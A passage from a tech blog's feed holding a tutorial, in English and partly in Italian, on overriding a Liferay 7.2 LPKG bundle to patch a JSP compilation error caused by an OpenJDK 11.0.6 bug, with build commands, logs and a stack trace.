classic build command&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./gradlew build&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 5 - Build of the bundle&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;With the portal off, we copy the new bundle (without the version) inside
of the &lt;code&gt;$LIFERAY_HOME/osgi/static/directory&lt;/code&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp modules/apps/static/portal-osgi-web/portal-osgi-web-servlet-jsp-compiler/build/libs/com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.14.jar /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/static/com.liferay.portal.osgi.web.servlet.jsp.compiler.jar&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 6 - Copy the bundle with patch in $LIFERAY_HOME/osgi/static/&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At this point, after deleting the contents of the directory
&lt;code&gt;$LIFERAY_HOME/osgi/state/&lt;/code&gt;, we start the portal. Watch out for Liferay&amp;#x27;s logs
why you should see the following log lines indicating the happened
installation of the new bundle that overrides the existing one.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;2020-03-24 22:17:48.836 INFO  [ServerService Thread Pool -- 73][ModuleFrameworkImpl:1468] Starting initial bundles&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;2020-03-24 22:17:49.234 INFO  [ServerService Thread Pool -- 73][ModuleFrameworkImpl:952] /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/marketplace/Liferay CE Static - Impl.lpkg:com.liferay.portal.osgi.web.servlet.jsp.compiler-4.0.13.jar is overridden by /Users/antoniomusarra/dev/liferay/liferay-ce-portal-7.2.1-ga2-wildfly-16/osgi/static/com.liferay.portal.osgi.web.servlet.jsp.compiler.jar&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Log 1 - Liferay start-up log with evidence of the bundle override operation&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Once the portal is up and running, deploy any MVC portlet e
check that you no longer get compilation errors on the JSPs. Figures a
following show the home page of the Liferay portal before and after installation
bundle with the patch.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f941fd5633ba96c1281892e3e9f90c4f/f5df4/portlet-in-errore-prima-della-patch.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:19.333333333333332%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;78\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2078\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;/%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/f941fd5633ba96c1281892e3e9f90c4f/c85cb/portlet-in-errore-prima-della-patch.webp 300w,/static/f941fd5633ba96c1281892e3e9f90c4f/e88ff/portlet-in-errore-prima-della-patch.webp 600w,/static/f941fd5633ba96c1281892e3e9f90c4f/92f8c/portlet-in-errore-prima-della-patch.webp 1200w,/static/f941fd5633ba96c1281892e3e9f90c4f/62ed8/portlet-in-errore-prima-della-patch.webp 1800w,/static/f941fd5633ba96c1281892e3e9f90c4f/acf52/portlet-in-errore-prima-della-patch.webp 2286w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f941fd5633ba96c1281892e3e9f90c4f/f93b5/portlet-in-errore-prima-della-patch.jpg 300w,/static/f941fd5633ba96c1281892e3e9f90c4f/b4294/portlet-in-errore-prima-della-patch.jpg 600w,/static/f941fd5633ba96c1281892e3e9f90c4f/e5166/portlet-in-errore-prima-della-patch.jpg 1200w,/static/f941fd5633ba96c1281892e3e9f90c4f/d9c39/portlet-in-errore-prima-della-patch.jpg 1800w,/static/f941fd5633ba96c1281892e3e9f90c4f/f5df4/portlet-in-errore-prima-della-patch.jpg 2286w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figure 2 - Portlet in error before without the patch&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f941fd5633ba96c1281892e3e9f90c4f/e5166/portlet-in-errore-prima-della-patch.jpg&quot; title=&quot;Figure 2 - Portlet in error before without the patch&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 2 - Portlet in error before without the patch&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/13a39a38cfd12a8f2495a5bad8c7e621/1176d/portlet-in-esecuzione-dopo-applicazione-patch.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:17%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;68\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2068\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M152%2033c0%202%202%204%202%201h1c2%202%2033%203%2033%201h1c1%202%205%201%205-1s-18-2-19-1h-1c0-2-1-2-4-2-8%202-13%202-13%201l-2-1c-2%200-3%201-3%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/13a39a38cfd12a8f2495a5bad8c7e621/c85cb/portlet-in-esecuzione-dopo-applicazione-patch.webp 300w,/static/13a39a38cfd12a8f2495a5bad8c7e621/e88ff/portlet-in-esecuzione-dopo-applicazione-patch.webp 600w,/static/13a39a38cfd12a8f2495a5bad8c7e621/92f8c/portlet-in-esecuzione-dopo-applicazione-patch.webp 1200w,/static/13a39a38cfd12a8f2495a5bad8c7e621/62ed8/portlet-in-esecuzione-dopo-applicazione-patch.webp 1800w,/static/13a39a38cfd12a8f2495a5bad8c7e621/f3c66/portlet-in-esecuzione-dopo-applicazione-patch.webp 2352w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/13a39a38cfd12a8f2495a5bad8c7e621/f93b5/portlet-in-esecuzione-dopo-applicazione-patch.jpg 300w,/static/13a39a38cfd12a8f2495a5bad8c7e621/b4294/portlet-in-esecuzione-dopo-applicazione-patch.jpg 600w,/static/13a39a38cfd12a8f2495a5bad8c7e621/e5166/portlet-in-esecuzione-dopo-applicazione-patch.jpg 1200w,/static/13a39a38cfd12a8f2495a5bad8c7e621/d9c39/portlet-in-esecuzione-dopo-applicazione-patch.jpg 1800w,/static/13a39a38cfd12a8f2495a5bad8c7e621/1176d/portlet-in-esecuzione-dopo-applicazione-patch.jpg 2352w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figure 3 - Portlet working after installing bundle with patch&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/13a39a38cfd12a8f2495a5bad8c7e621/e5166/portlet-in-esecuzione-dopo-applicazione-patch.jpg&quot; title=&quot;Figure 3 - Portlet working after installing bundle with patch&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 3 - Portlet working after installing bundle with patch&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;In these cases, when we go to patch Liferay components, it is
advisable to highlight it, for example with a suitable indication on the
Bundle Name.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;g! lb com.liferay.portal.osgi.web.servlet.jsp.compiler&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;START LEVEL 20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;   ID|State      |Level|Name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    1|Active     |    6|Liferay Portal OSGi Web Servlet JSP Compiler (SMC - PATCHED-1) (4.0.14)|4.0.14&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;g!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 7 - Access to the Gogo Shell and verification of the new bundle installed&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Very well! Now we have our Liferay 7.2 GA2 Portal that works
with OpenJDK 11.0.6&lt;/p&gt;&lt;h2 id=&quot;3-conclusions&quot;&gt;3. Conclusions&lt;/h2&gt;&lt;p&gt;In this article we have seen how simple it is to apply a patch to a
core component of Liferay without the need to wait for the next release.
All this is made possible for three simple reasons:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Liferay is Open Source;&lt;/li&gt;&lt;li&gt;Liferay since version 7.0 has adopted in full &lt;a href=&quot;https://www.osgi.org/&quot;&gt;OSGi&lt;/a&gt;, ergo, the welcome to modularity;&lt;/li&gt;&lt;li&gt;Liferay has developed sets of frameworks that facilitate its extension, including the core components of the portal.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Before you throw in the towel when you encounter a problem that may seem
insurmountable, I always advise you to consult the documentation
of &lt;a href=&quot;https://portal.liferay.dev/&quot;&gt;Liferay&lt;/a&gt; where in most of you could
find the solution to your problem.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk8 { color: #CE9178; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Override LPKG]]></title><link>https://techblog.smc.itoverride-lpkg-come-applicare-fix-a-liferay</link><guid isPermaLink="false">https://techblog.smc.itoverride-lpkg-come-applicare-fix-a-liferay</guid><pubDate>Fri, 01 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Qualche giorno addietro ho avuto la felice idea di aggiornare la versione di
&lt;a href=&quot;https://openjdk.java.net/&quot;&gt;OpenJDK&lt;/a&gt; dalla 11.0.5 alla 11.0.6. Sembrava che
tutto filasse per il verso giusto ma sono stato colpito dal famoso proverbio&lt;/p&gt;&lt;blockquote class=&quot;ContainerBleed-module--bleed--xdVv_ BigBlockquote-module--root--6Kp0m&quot;&gt;&lt;div class=&quot;BigBlockquote-module--content--exgDP&quot;&gt;&lt;div&gt;Non lasciare la vecchia strada per quella nuova&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;All’avvio di &lt;a href=&quot;https://liferay.dev/blogs/-/blogs/liferay-portal-7-2-ce-ga2-release&quot;&gt;Liferay Portal 7.2 GA2 CE&lt;/a&gt;
eccoti apparire l&amp;#x27;errore abbastanza odioso indicato a seguire (in console 1).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;javascript&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;Caused&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; by: &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JasperException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: PWC6033: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;Javac&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;compilation&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JSP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspCompilationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;compile&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspCompilationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;655&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServletWrapper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServletWrapper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;375&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;serviceJspFile&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;473&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;apache&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;jasper&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;JspServlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;377&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;org&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;eclipse&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;equinox&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;internal&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;servlet&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;RequestDispatcherAdaptor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;include&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;RequestDispatcherAdaptor&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;at&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;deployment&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;ROOT&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;war&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;//com.liferay.portlet.internal.PortletRequestDispatcherImpl.dispatch(PortletRequestDispatcherImpl.java:291)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;	... &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;165&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;more&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;Caused&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; by: &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;RuntimeException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;java&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;NullPointerException&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;entry&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 1 - Estratto errore PWC6033 per compilazione JSP&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Dopo qualche mirata ricerca ho scoperto che l&amp;#x27;errore è dovuto ad un bug (ancora
aperto) sulla &lt;strong&gt;OpenJDK 11.0.6&lt;/strong&gt; &lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8237875&quot;&gt;JDK-8237875 (zipfs) DirectoryStream entries changed behavior between JDK 11.0.5 and JDK 11.0.6&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Liferay dal canto suo ha provveduto a risolvere, anche velocemente, tramite
&lt;a href=&quot;https://issues.liferay.com/browse/LPS-107983&quot;&gt;LPS-107983 - OpenJDK 11.0.6 compatibility problem&lt;/a&gt;.
Questa LPS risulta già chiusa e risolve il problema sul branch 7.x e master.&lt;/p&gt;&lt;p&gt;Come possiamo applicare la patch dell&amp;#x27;LPS senza aspettare l&amp;#x27;uscita della nuova GA?&lt;/p&gt;&lt;p&gt;Le possibili soluzioni sono:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Downgrade di OpenJDK alla versione 11.0.5;&lt;/li&gt;&lt;li&gt;Se disponiamo della DXP siamo nelle condizioni di richiedere supporto direttamente a Liferay;&lt;/li&gt;&lt;li&gt;Se disponiamo della CE possiamo applicare la patch in modo autonomo.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;La prima strada non è sempre percorribile a causa del fatto che il più delle
volte l’aggiornamento della JDK rientra tra uno di quei componenti il cui
aggiornamento è centralizzato e abbiamo per cui poco spazio di manovra.&lt;/p&gt;&lt;p&gt;La seconda strada è semplice da percorre e solitamente in pochi giorni si
